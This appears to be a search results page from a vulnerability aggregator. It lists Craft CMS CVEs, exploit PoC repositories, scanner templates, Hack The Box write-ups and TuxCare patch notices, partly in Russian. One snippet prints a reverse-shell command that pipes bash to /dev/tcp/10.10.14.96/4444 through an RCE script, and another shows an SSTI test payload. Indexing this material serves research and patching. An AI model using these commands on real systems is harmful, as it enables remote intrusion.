267 matches found
CVE-2025-52122
CVE CraftCMS Freeform CraftCMS Freeform содержит уязвимость SSTI, что приводит к внедрению произвольного кода для всех пользователей, имеющих доступ к редактированию формы заголовок отправки. Уязвимые версии: v5.0.0 test % set form = freeform.form'pentest' % % if form % form.render % else % Form...
CVE-2025-32432
Набор инструментов для эксплуатации CraftCMS CVE-2025-32432 Инструмент эксплуатации уязвимости удалённого выполнения кода RCE в CraftCMS, основанный на исследовании SensePost. 📁 Описание файлов 🎯 Основные инструменты 1. finalpoc.py - финально оптимизированный POC Поддержка раскрытия информации и...
CraftCMS SEOmatic - Server-Side Template Injection
In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution. id: CVE-2021-41749 info: name: CraftCMS SEOmatic - Server-Side Template Injection author: iamnoooob,ritikchaddha...
CVE-2025-32432
Эксплойт CraftCMS CVE-2025-32432 от Chirag Artani Обзор Этот репозиторий содержит скрипт эксплойта для Proof-of-Concept PoC для CVE-2025-32432, уязвимости удаленного выполнения кода RCE до аутентификации, затрагивающей CraftCMS версий 4.x и 5.x. Уязвимость существует в функции генерации...
craftcms-cve-2025-32432-rce
payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...
HackTheBox-Layover
🧰 HTB / Pentest Writeups My personal knowledge base of Hack T...
Craft CMS < 3.3.0 - Server-Side Template Injection
Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller. id: CVE-2020-9757 info: name: Craft CMS 3.3.0 - Server-Side Template Injection author:...
CVE-2025-32432-PoC
CVE-2025-32432 Exploit Scripts Python PoC Pre-auth Remote Code Execution для CraftCMS 3.x / 4.x / 5.x Поддерживающий PoC: C.T.Y. только для исследований Обнаружение уязвимости: Nicolas Bourras – Orange Cyberdefense Дополнительное вдохновение для PoC: Исследования SensePost и публичный скрипт Chir...
PoC_CVE-2025-32432
CraftCMS CVE-2025-32432 - Clean PoC Очищенная и улучшенная версия оригинального Proof of Concept. Авторство Оригинальное исследование: Orange Cyberdefense и Chirag Artani Очищенная и улучшенная версия: n40y Лицензия Этот проект распространяется под лицензией MIT. См. файл LICENSE для получения...
CraftCMS < 4.4.15 - Unauthenticated Remote Code Execution
Craft CMS is a platform for creating digital experiences. This is a high-impact, low-complexity attack vector leading to Remote Code Execution RCE. Users running Craft installations before 4.4.15 are encouraged to update to at least that version to mitigate the issue. This issue has been fixed in...
CraftCMS - Remote Code Execution
Craft is a flexible, user-friendly CMS for creating custom digital experiences on the web and beyond. Starting from version 3.0.0-RC1 to before 3.9.15, 4.0.0-RC1 to before 4.14.15, and 5.0.0-RC1 to before 5.6.17, Craft is vulnerable to remote code execution. This is a high-impact, low-complexity...
Exploit for CVE-2026-44011
CraftCMS-CVE-2026-44011-PoC-RCE...
CLSA-2026-1790174106 TuxCare security update for craftcms/cms (1 CVE)
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 3.9.15-p10+tuxcare...
PT-2026-105398
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 3.9.15-p10+tuxcare...
PT-2026-98329
TuxCare rebuilt craftcms/cms to address 1 CVE. Fixed in 4.18.7-p1+tuxcare...
CLSA-2026-1788430341 TuxCare security update for craftcms/cms (4 CVEs)
TuxCare rebuilt craftcms/cms to address 4 CVEs. Fixed in 3.9.15-p9+tuxcare...
PT-2026-90914
TuxCare rebuilt craftcms/cms to address 4 CVEs. Fixed in 3.9.15-p9+tuxcare...
htb-labs-orion
🚀 HTB Labs - Orion English | EspañolREADME-ES...